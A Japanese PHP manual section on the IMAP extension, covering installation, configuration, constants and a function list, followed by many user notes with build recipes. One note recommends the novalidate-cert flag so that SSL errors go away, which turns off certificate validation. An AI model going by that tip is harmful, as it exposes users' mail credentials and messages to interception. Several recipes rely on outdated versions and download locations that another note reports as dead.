c-client ライブラリを SSL や Kerberos のサポートつきでビルド するには、パッケージとともに提供されるドキュメントを参照ください。

注意: Mandrake Linux では、IMAP ライブラリ（libc-client.a） が Kerberos のサポートなしでコンパイルされています。また、SSL 対応バージョン（client-PHP4.a）が別に インストールされます。Kerberos サポートを使用するには、これらの ライブラリを再コンパイルする必要があります。

User Contributed Notes

allan at umich dot edu 21-Mar-2019 07:28
It should be noted that the source code archives at the University of Washington, and the mirrors, have been dead for some time.

There is a github repository located here: https://github.com/uw-imap/imap
jameslandrok at gmail dot com 27-Jan-2015 05:32
A more secure & easy way to do this on Debian 7.7, php 5.4:

apt-get install php5-imap

Packages installed
  libc-client2007e mlock php5-imap
crabb1d at gmail dot com 09-Sep-2013 03:02
For those using Ubuntu and who are completely daunted by compiling this, it's easy under Ubuntu:

Install libc-client-dev
# sudo apt-get install libc-client-dev

Install PHP5 imap:
# sudo apt-get install php5-imap

Restart Apache
# sudo service apache2 reload

Should work for most people.
Anonymous 19-Jul-2013 10:04
When compiling IMAP 2007f with php 5.3.27 on a 64 bit OL5.7 machine, add in the Makefile: EXTRACFLAGS=-fPIC and EXTRAAUTHENTICATORS=gss
Anonymous 04-Oct-2011 10:58
When compiling IMAP on a 64 bit machine, use: make EXTRACFLAGS=-fPIC.
ldi at email dot cz 04-Aug-2010 10:09
After few hours of testing it on CentOS 5 64 bit I'd like to share the steps required to compile imap with php:

1. Install openssl:

   yum install openssl openssl-devel

2. If you don't have openssl compiled and installed in /usr/local/ssl create symlink:

   ln -s /usr/lib64/openssl/engines/ /usr/local/ssl

3. Add the libraries:

   ln -s /usr/include/ /usr/local/ssl/include

4. Compile IMAP

  cd /path/to/imap_src
  make lnp SSLTYPE=unix

5. Copy files as described above
 mkdir lib
 mkdir include
 cp c-client/*.c lib/
 cp c-client/*.h include/
 cp c-client/c-client.a lib/libc-client.a

6. Compile PHP
  cd /path/to/php/src
  ./configure --with-imap=/path/to/imap_src --with-libdir=lib64
Nick 02-Jul-2010 10:06
If you run into an error similar to the following when compiling / making PHP:

errno 0x21c /usr/local/imap-2007e/lib/libc-client.a(netmsg.o)
ld: fatal: relocations remain against allocatable but non-writable sections
make: Fatal error: Command failed for target `libphp5.la'

You need to recompile the IMAP library and add -fpic or -fPIC to your CFLAGS.

See:
http://bugs.php.net/bug.php?id=35465

Also, if you compiled OpenSSL from source, you'll need to do the same, as you'll get error messages for libc-client.a
eelco at care dot nl 17-Mar-2010 02:12
Spent hours and hours on compiling PHP with IMAP support on CentOS 64-bit but after many trial and error sessions I got if fixed.

If you have set the '--with-libdir=lib64' flag and you encounter the the 'cannot find the c-client library' error while compiling, try to create a symlink 'lib64' to 'lib' in your imap installation dir.

Apparantly, PHP will search only in lib64 directories if the flag is set. This also applies on the IMAP library but documentation lacks on this point.


インストール手順

これらの関数を動作させるには、--with-imap[=DIR] を指定して PHP をコンパイルする必要があります。DIR は c-client インストール時のプレフィックスです。上の例のような場合には --with-imap=/usr/local/imap-2000b を指定します。この場所は、上の指示にしたがってあなたが作成したディレクトリの 場所に依存します。Windows ユーザーは、php.ini で php_imap.dll DLL を有効にします。

注意: c-client の設定によっては、これ以外に --with-imap-ssl=/path/to/openssl/ や --with-kerberos=/path/to/kerberos といったオプションを PHP の configure で指定する必要があります。

警告

IMAP 拡張機能はスレッドセーフではありません。 よって、ZTS が有効なPHPで使うべきではありません。

警告

IMAP、recode、 YAZ 拡張モジュールは、組み合わせて使用することはできません。 これは、これらすべてが同一の内部シンボルを使用しているためです。 注意: Yaz 2.0 以降ではこの問題は発生しません。

User Contributed Notes

Blessen 08-May-2019 02:01
To install php-imap on Ubuntu18 try

sudo apt install php-imap
sudo phpenmod imap
gabi3xz at yahoo dot com 26-Feb-2018 08:14
In centos 7
yum install sclo-php70-php-imap or php71, check your of php version installed with yum list *php7*


実行時設定

php.ini の設定により動作が変化します。

IMAP 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
imap.enable_insecure_rsh | "0" | PHP_INI_SYSTEM | PHP 7.1.25、7.2.13、7.3.0 以降で利用可能です。それより前のバージョンでは、これは暗黙のうちに有効になっていました。
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

imap.enable_insecure_rsh bool

このオプションを無効にしていない場合、サーバーとの接続を確立する際に rsh コマンドや ssh コマンドを実行する可能性があります。

警告

rsh コマンドや ssh コマンドにメールボックス名を渡す際に、 PHP や IMAP ライブラリは何もフィルタリングをしません。 信頼できないデータをこの関数に渡すのであれば、このオプションを無効にしておかないと危険です。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

imap_open() は imap リソースを返します。これはオープンした IMAP ストリームを表します。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

NIL (int)
OP_DEBUG (int)
OP_READONLY (int)
メールボックスを読み込み専用で開きます。
OP_ANONYMOUS (int)
ニュースで .newsrc を使用せず、更新も行いません （NNTP のみ）。
OP_SHORTCACHE (int)
OP_SILENT (int)
OP_PROTOTYPE (int)
OP_HALFOPEN (int)
IMAP や NNTP において、接続はオープンするがメールボックスを開きません。
OP_EXPUNGE (int)
OP_SECURE (int)
CL_EXPUNGE (int)
imap_close() のコール時に、メールボックスを 閉じる前に中身を削除します。
FT_UID (int)
パラメータは UID です。
FT_PEEK (int)
まだ設定されていない場合に \Seen フラグを設定しません。
FT_NOT (int)
FT_INTERNAL (int)
返される文字列は内部フォーマットであり、CRLF に正規化しません。
FT_PREFETCHTEXT (int)
ST_UID (int)
シーケンスの引数に、番号ではなく UID を含んでいます。
ST_SILENT (int)
ST_SET (int)
CP_UID (int)
シーケンス番号が UID を含んでいます。
CP_MOVE (int)
imap_mail_copy() でコピーを行った後に 現在のメールボックスからメッセージを削除します。
SE_UID (int)
シーケンス番号のかわりに UID を返します。
SE_FREE (int)
SE_NOPREFETCH (int)
検索されたメッセージを事前にフェッチすることはありません。
SO_FREE (int)
SO_NOSERVER (int)
SA_MESSAGES (int)
SA_RECENT (int)
SA_UNSEEN (int)
SA_UIDNEXT (int)
SA_UIDVALIDITY (int)
SA_ALL (int)
LATT_NOINFERIORS (int)
このメールボックスには「子供」はいません（このメールボックスの配下には メールボックスはありません）。
LATT_NOSELECT (int)
これは単なるコンテナであり、メールボックスではありません。 オープンすることはできません。
LATT_MARKED (int)
このメールボックスはマークされています。UW-IMAPD でのみ使用されます。
LATT_UNMARKED (int)
このメールボックスはマークされていません。UW-IMAPD でのみ使用されます。
LATT_REFERRAL (int)
このコンテナはリモートのメールボックスへの関連を持ちます。
LATT_HASCHILDREN (int)
このメールボックスは、選択可能な子を持ちます。
LATT_HASNOCHILDREN (int)
このメールボックスは、選択可能な子を持ちません。
SORTDATE (int)
imap_sort() のソート条件。 メッセージの日付でソートします。
SORTARRIVAL (int)
imap_sort() のソート条件。 到着日でソートします。
SORTFROM (int)
imap_sort() のソート条件。 メールボックスの最初の From アドレスでソートします。
SORTSUBJECT (int)
imap_sort() のソート条件。 メッセージの表題でソートします。
SORTTO (int)
imap_sort() のソート条件。 メールボックスの最初の To アドレスでソートします。
SORTCC (int)
imap_sort() のソート条件。 メールボックスの最初の Co アドレスでソートします。
SORTSIZE (int)
imap_sort() のソート条件。 メッセージのサイズ（バイト単位）でソートします。
TYPETEXT (int)
最初の body 部の型: unformatted text
TYPEMULTIPART (int)
最初の body 部の型: multiple part
TYPEMESSAGE (int)
最初の body 部の型: encapsulated message
TYPEAPPLICATION (int)
最初の body 部の型: application data
TYPEAUDIO (int)
最初の body 部の型: audio
TYPEIMAGE (int)
最初の body 部の型: static image
TYPEVIDEO (int)
最初の body 部の型: video
TYPEMODEL (int)
最初の body 部の型: model
TYPEOTHER (int)
最初の body 部の型: unknown
ENC7BIT (int)
body 部のエンコーディング: 7 bit SMTP semantic data
ENC8BIT (int)
body 部のエンコーディング: 8 bit SMTP semantic data
ENCBINARY (int)
body 部のエンコーディング: 8 bit binary data
ENCBASE64 (int)
body 部のエンコーディング: base-64 encoded data
ENCQUOTEDPRINTABLE (int)
body 部のエンコーディング: human-readable 8-as-7 bit data
ENCOTHER (int)
body 部のエンコーディング: unknown
IMAP_OPENTIMEOUT (int)
IMAP_READTIMEOUT (int)
IMAP_WRITETIMEOUT (int)
IMAP_CLOSETIMEOUT (int)
IMAP_GC_ELT (int)
ガベージコレクタでメッセージキャッシュ要素を消去します。
IMAP_GC_ENV (int)
ガベージコレクタでエンベロープおよびボディを消去します。
IMAP_GC_TEXTS (int)
ガベージコレクタでテキストを消去します。

User Contributed Notes

There are no user contributed notes for this page.


IMAP 関数

参考

この文書では、提供される関数に関する全ての話題の詳細について立ち入ることは できません。より詳細な情報については、c-client ライブラリのソースに 付属するドキュメント (docs/internal.txt) および以下の RFC ドキュメントで提供されています。

  • » RFC2821: Simple Mail Transfer Protocol (SMTP).
  • » RFC2822: Standard for ARPA internet text messages.
  • » RFC2060: Internet Message Access Protocol (IMAP) Version 4rev1.
  • » RFC1939: Post Office Protocol Version 3 (POP3).
  • » RFC977: Network News Transfer Protocol (NNTP).
  • » RFC2076: Common Internet Message Headers.
  • » RFC2045 , » RFC2046 , » RFC2047 , » RFC2048 & » RFC2049: Multipurpose Internet Mail Extensions (MIME).
詳しい概観については、David Wood による書籍 » Programming Internet Email や Dianna Mullet と Kevin Mullet による » Managing IMAP でも得ることができます。

目次

  • imap_8bit — 8 ビット文字列を quoted-printable 文字列に変換する
  • imap_alerts — 発生した IMAP 警告メッセージを返す
  • imap_append — 指定されたメールボックスに文字列メッセージを追加する
  • imap_base64 — BASE64 でエンコードされたテキストをデコードする
  • imap_binary — 8 ビット文字列を base64 文字列に変換する
  • imap_body — メッセージ本文を読む
  • imap_bodystruct — 指定したメッセージの指定した body セクションの構造を読み込む
  • imap_check — 現在のメールボックスをチェックする
  • imap_clearflag_full — メッセージのフラグをクリアする
  • imap_close — IMAP ストリームをクローズする
  • imap_create — imap_createmailbox のエイリアス
  • imap_createmailbox — 新しいメールボックスを作る
  • imap_delete — 現在のメールボックスから削除するメッセージに印を付ける
  • imap_deletemailbox — メールボックスを削除する
  • imap_errors — 発生したすべての IMAP エラーを返す
  • imap_expunge — 削除用にマークされたすべてのメッセージを削除する
  • imap_fetch_overview — 指定したメッセージのヘッダ情報の概要を読む
  • imap_fetchbody — メッセージ本文中の特定のセクションを取り出す
  • imap_fetchheader — メッセージのヘッダを返す
  • imap_fetchmime — メッセージの特定のセクションに対する MIME ヘッダを取り出します
  • imap_fetchstructure — 特定のメッセージの構造を読み込む
  • imap_fetchtext — imap_body のエイリアス
  • imap_gc — IMAP キャッシュをクリアする
  • imap_get_quota — クオータレベルの設定、メールボックス毎の使用状況を取得する
  • imap_get_quotaroot — ユーザー単位のクォータ設定を取得する
  • imap_getacl — 与えられたメールボックスの ACL を取得する
  • imap_getmailboxes — メールボックスのリストを読み込み、各ボックスに関する詳細な情報を返す
  • imap_getsubscribed — 購読中の全メールボックスの一覧を取得する
  • imap_header — imap_headerinfo のエイリアス
  • imap_headerinfo — メッセージヘッダを読み込む
  • imap_headers — メールボックス内のすべてのメッセージのヘッダを返す
  • imap_last_error — ページリクエスト時に生じた直近の IMAP エラーを返す
  • imap_list — メールボックスのリストを読み込む
  • imap_listmailbox — imap_list のエイリアス
  • imap_listscan — 指定したテキストにマッチするメールボックスの一覧を返す
  • imap_listsubscribed — imap_lsub のエイリアス
  • imap_lsub — 購読しているすべてのメールボックスの一覧を得る
  • imap_mail_compose — 指定したエンベロープおよびボディセクションに基づいて MIME メッセージを作成する
  • imap_mail_copy — 指定されたメッセージをメールボックスにコピーする
  • imap_mail_move — 指定されたメッセージをメールボックスに移動する
  • imap_mail — e-mail メッセージを送信する
  • imap_mailboxmsginfo — 現在のメールボックスに関する情報を得る
  • imap_mime_header_decode — MIME ヘッダ要素をデコードする
  • imap_msgno — 指定した UID のメッセージ番号を返す
  • imap_mutf7_to_utf8 — 修正UTF-7文字列をUTF-8にデコードする
  • imap_num_msg — 現在のメールボックスのメッセージ数を取得する
  • imap_num_recent — 現在のメールボックスにある新規メッセージ数を取得する
  • imap_open — メールボックスへの IMAP ストリームをオープンする
  • imap_ping — IMAP ストリームがアクティブかどうかを調べる
  • imap_qprint — quoted-printable 文字列を 8 ビット文字列に変換する
  • imap_rename — imap_renamemailbox のエイリアス
  • imap_renamemailbox — メールボックスの名前を変更する
  • imap_reopen — 新規メールボックスへの IMAP ストリームを再度オープンする
  • imap_rfc822_parse_adrlist — アドレス文字列を解釈します
  • imap_rfc822_parse_headers — 文字列からメールヘッダを解釈する
  • imap_rfc822_write_address — 指定したメールボックス、ホスト、個人情報を、 電子メールアドレスとして適当な形式にして返す
  • imap_savebody — 指定した本文部をファイルに保存する
  • imap_scan — imap_listscan のエイリアス
  • imap_scanmailbox — imap_listscan のエイリアス
  • imap_search — 指定した検索条件にマッチするメッセージを配列として返す
  • imap_set_quota — 指定したメールボックスにクォータを設定する
  • imap_setacl — 指定したメールボックスの ACL を設定する
  • imap_setflag_full — メッセージにフラグをセットする
  • imap_sort — メッセージヘッダの配列をソートする
  • imap_status — 現在のメールボックス以外のメールボックスのステータス情報を返す
  • imap_subscribe — メールボックスを購読する
  • imap_thread — スレッド化したメッセージのツリーを返す
  • imap_timeout — imap タイムアウトを設定あるいは取得する
  • imap_uid — 指定したメッセージシーケンス番号の UID を返す
  • imap_undelete — 削除マークがついているメッセージのマークをはずす
  • imap_unsubscribe — メールボックスの購読をやめる
  • imap_utf7_decode — 修正版 UTF-7 エンコードされた文字列をデコードする
  • imap_utf7_encode — ISO-8859-1 文字列を修正版 UTF-7 テキストに変換する
  • imap_utf8_to_mutf7 — UTF-8 文字列を修正UTF-7にエンコードする
  • imap_utf8 — MIME エンコードされたテキストを UTF-8 に変換する

User Contributed Notes

Eelco 21-Apr-2011 02:41
I used the instructions from Chris (thanks Chris) to recompile the imap.so module for CentOS 5 (PHP 5.2.11). I didn't want to recompile all PHP extensions only imap.so.

So here is my version of recompiling imap.so for PHP 5.2.11 based on the instructions of Chris.

0) Install the dependencies
yum groupinstall "Development Tools"
yum install openssl-devel
yum install krb5 krb5-devel
yum install pam-devel
1) Create a temporary folder and cd to it.
# mkdir ~/php-imap && cd ~/php-imap
2) Download c-client.tar.Z
# wget ftp://ftp.cac.washington.edu/imap/c-client.tar.Z
3) Extract the c-client.tar.Z file, which would create the imap-2007e folder at this moment.
# tar -zxf c-client.tar.Z
4) Download php source code using. Use the version of the php installed on the machine (php --version)
Extract the php-*.rpm file to get the php-*.tar.bz2 source package
# wget http://3es.atomicrocketturtle.com/packages/ php/php-5.2.11-3.art.src.rpm
# rpm2cpio php-5.2.11-3.art.src.rpm | cpio -idmv
# tar xvjf php-5.2.11.tar.bz2
5) Install php-imap plugin using or you can simply just add the php ini file for the imap.so extension
# sudo yum install php-imap
6) Go to the imap-2007e folder and edit the Makefile such that the 'EXTRACFLAGS=' line reads: 'EXTRACFLAGS=-fPIC'
7) Compile c-client.
# make lr5  IP6=4
8) Go to the php source folder and run the configure script with the following arguments:
# ./configure --disable-all --with-imap=shared,<path to imap-2007e folder> --with-imap-ssl --with-openssl=/usr
9) Compile php
# make
10) Copy/replace the imap.so file from the ./modules folder to the php module folder.
# sudo cp ./modules/imap.so /usr/lib64/php/modules
11) Restart Apache
# sudo /etc/init.d/httpd restart
12) Check imap section of <?php phpinfo(); ?>, and it should only list IMAP c-Client Version and SSL Support. The Kerberos Support should NOT be listed here!
chris dot kistner at gmail dot com 06-Jan-2011 04:57
The IMAP php plugin doesn't work by default with Microsoft Exchange 2007 server, so I had to recompile php with the c-client without Kerberos support.

Also, I wanted to compile it as a shared library (imap.so).

The quick and easy way that I've used to do this on Fedora Core 13 & 14 x64 was:
1) Create a temporary folder and cd to it.
2) Download c-client.tar.Z from ftp://ftp.cac.washington.edu/imap/
3) Extract the c-client.tar.Z file, using 'tar -zxf c-client.tar.Z', which would create the imap-2007e folder at this moment.
4) Download php source code using 'yumdownloader --source php' *(a)
Extract the php-*.rpm file to get the php-*.tar.bz2 source package *(b)
5) Install php-imap plugin using 'sudo yum install php-imap', or you can simply just add the php ini file for the imap.so extension
6) Go to the imap-2007e folder and edit the Makefile such that the 'EXTRACFLAGS=' line reads: 'EXTRACFLAGS=-fPIC'
7) Compile c-client. I had to use 'make lfd IP6=4'
8) Go to the php source folder and run the configure script with the following arguments: './configure --with-imap=shared,<path to imap-2007e folder> --with-imap-ssl'
eg. I used './configure --with-imap=shared,/home/chris/imap-2007e --with-imap-ssl'
9) Compile php by simply running 'make' *(c)
10) Copy/replace the imap.so file from the ./modules folder to your PC's php module folder. I used 'sudo cp ./modules/imap.so /usr/lib64/php/modules'
11) Restart Apache: 'sudo service httpd restart'
12) Check imap section of <?php phpinfo(); ?>, and it should only list IMAP c-Client Version and SSL Support. The Kerberos Support should NOT be listed here!

There are slight differences in achieving the same in Ubuntu 10.04 x64 (or perhaps other versions too):
4) Download php source code using 'apt-get source php5', which will create a php5-* source folder
5) Install the php5-imap plugin using 'sudo apt-get install php5-imap'
7) Compile c-client. I had to use 'make ldb IP6=4'
10) Copy/replace the imap.so file from the ./modules folder to your PC's php folder. I used 'sudo cp ./modules/imap.so /usr/lib64/php5/20090626'
11) Restart Apache: 'sudo service apache2 restart'

* Notes:
(a) yumdownloader is part of yum-utils package, which can be installed using 'yum install yum-utils'
(b) You can extract the rpm file using 'rpm2cpio php-*.src.rpm | cpio -idmv'
(c) You can greatly improve the compilation speed on a multi-core PC using 'make -j `grep -c ^processor /proc/cpuinfo`'
bigben3333 - gmail 22-Feb-2008 06:23
I've tried to compile php with imap sources for 2 days on a mandriva 2006 and it never work...

I succeed only when i uninstall the following RPM witch was already installed on my system :

libc-client
libc-client-devel
imap
imap-devel

here is my configure command :

./configure  --with-apache=/usr/local/apache --with-dbase --with-filepro --enable-mbstring --with-xml=/usr/local/php --enable-ftp --with-db --enable-bcmath --enable-calendar --with-mysql --with-zlib-dir --enable-trans-sid --with-imap=/usr/local/imap-2004g --with-kerberos --with-imap-ssl --with-openssl --enable-sysvsem --enable-sysvshm
kvazitron at gmail dot com 11-Feb-2008 02:48
I successfully installed c-client and compiled php 5.2.5 with imap on FreeBSD 6.3. To get this stuff work, i did following steps:

1) to install c-client:

download and uncompress c-client.tar.Z to folder /usr/local/
cd /usr/local/imap-2007
make bsf
mkdir include
ln -s c-client include
mkdir lib
cd lib
ln -s ../c-client/c-client.a libc-client.a

2) to compile php:
add this options
--with-imap=/usr/local/imap-2007 --with-imap-ssl
mogmios at gmail dot com 19-Oct-2007 12:36
In Fedora Core 6 64 bit w/ a custom compiled copy of Apache and PHP 4 I had to add packages libc-client*x84_64 and then just used config options --with-imap --with-kerberos --with-imap-ssl.
gpayne at galenaparkisd com 07-Aug-2007 12:48
You can also use the novalidate-cert flag and it won't bother you about the ssl stuff:

$mailbox = imap_open("{localhost:143/imap/novalidate-cert}INBOX", "user","pw");
mleiv 26-Jul-2007 04:12
MAC OSX advice for those less experienced in UNIX.

I had a lot of trouble with all the advice here, but I finally got it working, so I thought I'd leave my steps.  If you know a decent amount about UNIX you can probably do better on you own.
#1) downloaded version listed by php.net above.
#2) ran "make opx" on it (the three-letter is your OS, opx is later osx versions)
#3) copied resulting c-client/ folder to where I wanted to leave my imap stuff, herafter referred to as IMAP_HOME.
#4) renamed IMAP_HOME/c-client/c-client.a to libc-client.a
#5) ran "configure" on php using --with-imap=IMAP_HOME --with-kerberos  --with-imap-ssl (my configure insisted that I use the last two)
#6) make, make install, and restarted Apache.  Voila!

At this point you can delete the downloaded imap stuff, or move it to your sources/ folder or whatever.
bogdanderen at mail dot ru 07-Jul-2007 06:41
INSTALLING IMAP
   1. Log in as root:
      su -
   2. Download IMAP installation
   3. Untar the package:
      tar -zxf IMAP_PACKAGE_FILENAME
   4. Enter the source directory:
      cd IMAP_PACKAGE_DIRECTORY
   5. Build the package.
      # edit Makefile EXTRACFLAGS=-fPIC
      # make lrh
   6. Install the lib and include files:
      # mkdir /IMAP_DIR/lib
      # mkdir /IMAP_DIR/include
      # cp -r ./src/c-client/*.h /IMAP_DIR/include/
      # cp  ./c-client/linkage.h /IMAP_DIR/include/
      # cp ./src/osdep/unix/*.h /IMAP_DIR/include/
      # cp ./src/osdep/unix/*.c /IMAP_DIR/lib/
      # rm -rf all files and directories except /IMAP_DIR/include/ & /IMAP_DIR/lib/
   7. Create the osdep.h link:
      Linux:
      # ln -s ./include/c-client/os_slx.h \
      /IMAP_DIR/include/osdep.h

INSTALLING PHP (DO NOT --with-kerberos)
    --with-imap=/IMAP_DIR
eeescalona at yahoo dot com 20-Feb-2007 12:49
fyi.

I had an error during this process

*downloaded from ftp.cac.washington.edu  imap-2006e.tar.gz
*untarred it as /usr/local/src/imap-2006e.
*made lrh (make lrh)
*copied /usr...imap-2006e/c-client/c-client.a into ..../client/libc-client.a
*cd /usr/local/src/php-4.2.1/
*configured php using ... --with-imap=/usr/local/src/imap-2006e --with-ssl

*and during make the following error occurred.

php_imap.c:71: error: conflicting types for 'utf8_mime2text'
/usr/local/src/imap-2006e//c-client/utf8aux.h:37: error: previous declaration of 'utf8_mime2text' was here
php_imap.c:71: error: conflicting types for 'utf8_mime2text'
/usr/local/src/imap-2006e//c-client/utf8aux.h:37: error: previous declaration of 'utf8_mime2text' was here
make[3]: *** [php_imap.lo] Error 1
make[3]: Leaving directory `/usr/local/src/php-4.2.1/ext/imap'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/usr/local/src/php-4.2.1/ext/imap'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/usr/local/src/php-4.2.1/ext'
make: *** [all-recursive] Error 1

apparently, apache 4.2.1 and imap-2006e has the same declared function which creates a duplication problem. the utf8_mime2text function is both found on files:

php-4.2.1/imap/php_imap.c (2 occurences)
imap-2006e/c-client/utf8aux.h (1 occurences)
imap-2006e/c-client/utf8aux.c (1 occurrences)
imap-2006e/c-client/mail.c (5 occrences)

bug fixers says i have to upgrade my php, but I cant afford to change versions since i run some home grown developed php software which doesnt work on higher versions.

So I did this.

I replaced all utf8_mime2text texts with utf8_mime2text2 for the imap sources.

since my server is both web and mysql, i used a built in mysql command called 'replace'

$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/utf8aux.h
$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/utf8aux.c
$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/mail.c

then i continued make and make install, without the reported error.

caveats...i just did this to try it. i dunno if it will work later...
couplewith at interpakr dot co dot kr 12-Feb-2007 05:37
imap-install
  1. tar xvzf c-client.tgz
  2. cd imap-2006e
  3. make lrh    # install redhat linux
  4. cp c-client/c-client.a  /usr/local/lib/libc-client.a
      copy head files
      c-client/rfc822.h, mail.h ? linkage.h
       /usr/local/include
       c-clinet/utf-8.h /usr/local/include
  5. if  U8T_CANONICAL undefined error
      edit php_src/ext/imap/php_imap.c

==add 53 line ==
#include <time.h>
#include <stdio.h>
#include <ctype.h>
#include <signal.h>
+#include "utf8.h"
   6. make php installatin step
Marplatense 23-Nov-2006 08:52
Compiling php with support for imap on a linux 64 bits server (tested with php 5.1.6, php 5.2.0, CentOS 4.4 64 bits and c-client snap 0611201609):

1- download the imap from ftp.
# tar -zxvf imap-2006d.DEV.tar.Z
# cd imap-2006d.DEV.SNAP-0611201609/
# vim MakeFile
2- Search for "EXTRACFLAGS=" and add -fPIC at then end:
    before EXTRACFLAGS=
    after   EXTRACFLAGS=-fPIC
3- save the file and quit
# make lrh
# cd c-client/
# cp /.../imap-2006d.DEV.SNAP-0611201609/c-client/c-client.a /.../imap-2006d.DEV.SNAP-0611201609/c-client/libc-client.a
4- navigate to your php directory and:
# ./configure ... lots of options here and ... --with-imap=/.../imap-2006d.DEV.SNAP-0611201609 --with-imap-ssl
# make
# make install

Additional notes:
a- I choose "lrh" in the make but you might check what's yours option.
b- I made it with ssl support and because of this I added the --with-imap-ssl in the php configure option. You might make it with no SSL
James Triplett <jm-php at vj8 dot net> 05-Apr-2006 07:50
Building Apache2, PHP and IMAP requires a shareable version
of the c-client library, but the standard UW code doesn't provide one.
I couldn't find any way to build with the libc-client.a without generating piles of relocation errors. (gcc on Solaris 10)

The IMAP c-client library can be built shareable with the following steps:
1. fix the Makefile in .../imap-2004/c-client to include:
BASECFLAGS="-fPIC -O3"
2. make
3. mkdir tmp
4. cd tmp
5. ar xv ../c-client.a  (to extract the .o files)
6. gcc -shared -o c-client.so *.o  (to create the .so library)
7. copy that c-client.so to /usr/local/imap/lib/libc-client.so
    (it may be necessary to hide the libc-client.a)
8. configure PHP ; make; make install
BjarneDM macintosh at mathiesen dot info 20-Oct-2005 12:49
Mac OS X client install notes with DarwinPorts

The c-client.a isn't present on your system after you've installed the imap-uw package. !But! it's actually present at a specific time during the install phase as it's being complied from source - it's just deleted at the end of the compilation process. So, we'll have to break the install process down into it's component processes and get hold of what we need at the appropriate time:

sudo port fetch imap-uw
sudo port extract imap-uw
sudo port patch imap-uw
sudo port configure imap-uw
sudo port build imap-uw
imapLib=/darwinports/var/db/dports/distfiles/imap-uw/lib
imapIncludes=/darwinports/var/db/dports/distfiles/imap-uw/include
sudo mkdir ${imapLib} ${imapInclude}
cd /darwinports/var/db/dports/build/*/*/*/c-client
sudo cp *.c ${imapLib}
sudo cp *.h ${imapIncludes}
sudo cp c-client.a ${imapLib}/libc-client.a
cd ${imapLib}
ranlib - libc-client.a
sudo port install imap-uw

Now, you can just specify:
    --with-imap=/darwinports/var/db/dports/distfiles/imap-uw \
    --with-imap-ssl=/darwinports \
in your ./configure command.
php at got2get dot net 07-Sep-2005 08:04
Install note for FreeBSD:

If you get this:

/libexec/ld-elf.so.1: /usr/local/lib/php/20041030/imap.so: Undefined symbol "ssl_onceonlyinit"

...in your httpd-error.log.

It is because you compiled cclient without SSL support.

However. In order for me to get SquirrelMail woorking, I had to install ports/mail/imap-uw with WITHOUT_SSL=yes and same option for ports/mail/cclient. After doing this, I recompiled cclient w/o any options to get SSL support, and then installed posrt/mail/php5-imap.

This works. But if you just want SSL everywhere - install imap-uw normally, which will install cclient too. After that, install php5-imap normally as well - and you have a working system with SSL.

Hope this saves more people from wasting too much time like I just did ;)

 - Nicolai
v dot 0000000001 dot -0006398047 at vertabiz dot com 23-Jun-2005 09:01
Since this library at a whole is fairly poorly documented, and it doesn't help that there's 30-something functions, and many of the functions do the same things, I have gone through and categorized the functions.  Hopefully this will help somebody else, I know it will help me!! -Justin

CONNECTION, ERRORS & QUOTAS
===========================
imap_timeout
imap_ping
imap_open
imap_reopen
imap_close
imap_check **(fairly useless)
imap_alerts
imap_errors
imap_last_error
imap_get_quota
imap_get_quotaroot
imap_set_quota

MESSAGES - READING
==================
imap_uid
imap_msgno
imap_fetchbody
imap_fetchheader
imap_fetchstructure
imap_fetch_overview
imap_body
imap_rfc822_parse_adrlist
imap_rfc822_parse_headers

MESSAGES - WRITING
==================
imap_mail_compose
imap_mail
imap_append
imap_rfc822_write_address

MESSAGES - OPERATIONS
=====================
imap_undelete
imap_thread
imap_delete
imap_mail_copy
imap_mail_move
imap_expunge
imap_clearflag_full
imap_setflag_full

MESSAGES - DECODE/ENCODE
========================
imap_utf7_decode
imap_utf7_encode
imap_utf8
imap_8bit
imap_base64
imap_binary
imap_mime_header_decode
imap_qprint

FOLDERS
=======
imap_createmailbox
imap_deletemailbox
imap_getmailboxes
imap_mailboxmsginfo
imap_renamemailbox
imap_headers **(fairly useless)
imap_status
imap_sort
imap_search
imap_listscan

NNTP
====
imap_unsubscribe
imap_subscribe
imap_getsubscribed

Others
=============================
imap_num_msg - use imap_mailboxmsginfo()
imap_num_recent - use imap_mailboxmsginfo()
imap_header - alias of imap_headerinfo()
imap_scanmailbox - alias of imap_listscan()
imap_listsubscribed - alias of imap_lsub()
imap_listmailbox - alias of imap_list()
imap_lsub - use imap_getsubscribed()
imap_list - use imap_getmailboxes()
imap_bodystruct - not documented
imap_getacl - not documented
imap_setacl - not documented
imap_headerinfo - use imap_fetch_overview()
Anonymous 13-Apr-2005 12:13
If you are having difficulty compiling on netbsd from source and want imap support then you should know that the c-client library is compiled with kerberos support.  Unfortunately gssapi_krb5 and k5crypto is not on the system (or at least wasn't for me).  I didn't have administrative level access to add these libraries so I had to do the following.  I still have to test that it worked 100% but at least it compiled without complaining.

Comment the following segments from the configure script.

Segment 1 -- test for gssapi_krb5 library

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
    if test "$ext_shared" = "yes"; then
        IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lgssapi_krb5"
    else

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
      LIBS="$LIBS -lgssapi_krb5"
   ;;
  esac

    fi
   ;;
  esac

Segment 2 -- test for k5crypto

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
    if test "$ext_shared" = "yes"; then
        IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lk5crypto"
    else

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
      LIBS="$LIBS -lk5crypto"
   ;;
  esac

    fi
   ;;
  esac

BTW.  Since I was only compiling for the modules (they have suPHP so I compile all my own modules when I need them) I only dropped this in for the php configure script parameters

./configure --with-imap=shared,xxxxxx --with-kerberos=xxxxxx --with-imap-ssl

This is verified working via an imap test.  One excellent test that I located on the phpbuilder.com site.  Here it is.  Modify the address, port, protocol type, username, and password appropriately.  The post was 5 years old but the script still works fine.  The posters name was "Matthew"

<HTML>
<HEAD>
<TITLE>imap_check</TITLE>
</HEAD>
<BODY>
<?
